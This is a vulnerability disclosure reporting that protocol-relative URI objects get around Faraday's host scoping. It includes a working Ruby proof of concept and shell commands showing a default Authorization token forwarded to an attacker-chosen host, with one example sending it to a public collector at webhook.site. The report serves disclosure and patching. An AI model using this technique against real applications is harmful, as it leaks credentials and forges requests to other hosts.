Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping

$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'

• PoC code (inline):

require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body

• Exit code: 0
• stdout (relevant excerpt):

200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn

• stderr (relevant excerpt):

N/A

• Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

• Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
• Existing CVE for the original string-based issue: CVE-2026-25765
• Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
• Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.